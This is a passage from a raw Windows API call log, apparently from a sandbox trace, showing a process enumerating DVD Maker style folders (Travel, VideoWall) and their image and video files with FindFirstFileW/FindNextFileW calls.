cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0243.302] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0243.303] ResetEvent (hEvent=0x118) returned 1 [0243.303] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.307] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0243.307] ResetEvent (hEvent=0x118) returned 1 [0243.307] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.318] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0243.318] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0243.319] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0243.319] ResetEvent (hEvent=0x118) returned 1 [0243.319] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.323] ResetEvent (hEvent=0x118) returned 1 [0243.323] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.326] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0243.327] ResetEvent (hEvent=0x118) returned 1 [0243.327] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.330] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0243.330] ResetEvent (hEvent=0x118) returned 1 [0243.331] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.335] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0243.336] ResetEvent (hEvent=0x118) returned 1 [0243.336] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.344] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0243.344] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0243.346] GetProcessHeap () returned 0x560000 [0243.346] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0243.347] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0243.348] GetProcessHeap () returned 0x560000 [0243.348] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0243.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0243.350] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.350] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0243.351] ResetEvent (hEvent=0x118) returned 1 [0243.351] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.355] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0243.355] ResetEvent (hEvent=0x118) returned 1 [0243.356] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.361] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0243.361] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0243.361] ResetEvent (hEvent=0x118) returned 1 [0243.361] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.365] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0243.365] ResetEvent (hEvent=0x118) returned 1 [0243.365] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.380] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0243.380] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0243.381] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0243.381] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0243.381] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0243.381] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0243.382] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0243.382] ResetEvent (hEvent=0x118) returned 1 [0243.382] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.397] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0243.398] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0243.398] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0243.398] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0243.399] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0243.399] ResetEvent (hEvent=0x118) returned 1 [0243.399] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.402] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0243.402] ResetEvent (hEvent=0x118) returned 1 [0243.402] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.514] ResetEvent (hEvent=0x118) returned 1 [0243.514] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.523] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0243.523] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0243.524] ResetEvent (hEvent=0x118) returned 1 [0243.524] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.533] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0243.534] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0243.534] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0243.534] ResetEvent (hEvent=0x118) returned 1 [0243.534] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.546] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0243.546] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0243.547] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0243.547] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0243.549] GetProcessHeap () returned 0x560000 [0243.549] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0243.549] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0243.550] GetProcessHeap () returned 0x560000 [0243.550] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0243.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0243.550] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, 